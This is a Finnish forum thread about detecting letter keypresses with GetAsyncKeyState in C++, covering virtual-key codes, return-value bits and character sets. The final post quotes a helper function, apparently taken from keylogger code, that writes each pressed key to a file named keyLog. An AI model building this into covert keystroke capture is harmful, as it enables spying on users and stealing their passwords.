Kirjautuminen

Haku

Tehtävät

Keskustelu: Ohjelmointikysymykset: C++: GetAsyncKeyState ja kirjaimet

Sivun loppuun

Toshiba [19.07.2009 21:27:36]

#

Tervehdys,

Tiedän että if (GetAsyncKeyState(VK_LEFT)) tarkistaa, että onko esim. painettu vasenta nuolinäppäintä, mutta jostain syystä en saa tarkistettua onko painettu aakkosia esim. väliltä a-z? Olisin erittäin kiitollinen esimerkistä, koska omani ei jostain syystä toiminut. Kokoeilin pistää ascii aluetta >= 65 ja <=122, mutta ei onnannut!

Metabolix [19.07.2009 21:39:19]

#

Kyllä kirjainten pitäisi muistaakseni vastata isojen kirjainten ASCII-koodeja, eli kokeile laittaa 'A'.

RQ [19.07.2009 21:46:10]

#

short key_char;
for(key_char=65;key_char<=90;key_char++)
{
    if(GetAsyncKeyState(key_char)==-32767)
    {
        //A-Z painettuna
    }
}

Toshiba [19.07.2009 21:52:07]

#

Kiitos, nyt näyttää toimivan! Mitäs tarkalleen if(GetAsyncKeyState(key_char)==-32767) meinaa? Tulee äkkiseltään mieleen short alueen range..?

Metabolix [19.07.2009 22:02:56]

#

GetAsyncKeyState palauttaa ylimmän bitin, jos nappi on pohjassa kutsuhetkellä, ja alimman, jos sitä on painettu viime kutsun ja tämän välissä. Jälkimmäinen tarkistus ei kuitenkaan ole varma, koska jokin muu ohjelma on saattanut myös tarkistaa napin tilan.

Ehkä RQ:n tarkistusta varmempi olisi vain pudottaa alin bitti paluuarvosta pois AND-operaatiolla tai bittisiirrolla:

inline bool alhaalla(int vKey) {
  return (GetAsyncKeyState(vKey) >> 1) != 0;
}

Toshiba [19.07.2009 23:07:34]

#

Vielä jatkoa.. Mistähän löytäisin oikean "ascii" taulukon, koska omassani esim 187 = +, mutta ei taida tavan standardi taulukossa olla sama? Esim ääkkösiä ei näytä löytyvän ollenkaan??

Linkki olisi kiva :)

Jaska [19.07.2009 23:16:48]

#

Firefoxiin ascii, niin linkiksi tulee http://www.asciitable.com/ . Tässä esim. 187 on kulman tapainen merkki ja + on koodiltaan 43.

Toshiba [19.07.2009 23:44:42]

#

Ei toi taulukku pidä itselläni ainakaan loppupäästä yhtään paikkaansa. Tyydyin tekemään ohjelman joka sitten tulostaa numeroarvoina noi merkit, kun ei muuten ratkennut?

Metabolix [20.07.2009 09:09:58]

#

ASCII-merkistöön ei kuulukaan kuin 128 merkkiä, joten on turha valittaa, jos loput eivät osu kohdilleen. Graafisissa Windows-ohjelmissa käytetään suomeksi Windows-1252-merkistöä (cp1252), jonka alkupuoli vastaa ASCIIta ja loppupuolella on mm. paljon eurooppalaisten kielten erikoismerkkejä.

Deffi [21.07.2009 20:52:10]

#

Järkevin tapa ois käyttää MapVirtualKeytä. Jostain rohitabin foorumilta:

void GetKeyFromVCode(UINT nVirtualKey,bool showKeynames)
{
    WORD asciiKey; char virtualKey[32]; BYTE lpKeyboard[256];
    GetKeyState(VK_CAPITAL); GetKeyState(VK_SCROLL); GetKeyState(VK_NUMLOCK);
    GetKeyboardState(lpKeyboard);

    if(ToAscii(nVirtualKey, MapVirtualKey(nVirtualKey, 0), lpKeyboard, &asciiKey, 0) == 1) {
        fputc(asciiKey, keyLog);
        printf("%c", asciiKey);
    }
    else if((GetKeyNameText(MAKELONG(0, MapVirtualKey(nVirtualKey, 0)), virtualKey, 32) > 0) && showKeynames) {
        char keyWord[36] = " [";
        strcat_s(keyWord,36,virtualKey); strcat_s(keyWord,36,"] ");
        fputs(keyWord, keyLog);
        printf("%s", keyWord);
    }
}

Sivun alkuun

Vastaus

Aihe on jo aika vanha, joten et voi enää vastata siihen.

Tietoa sivustosta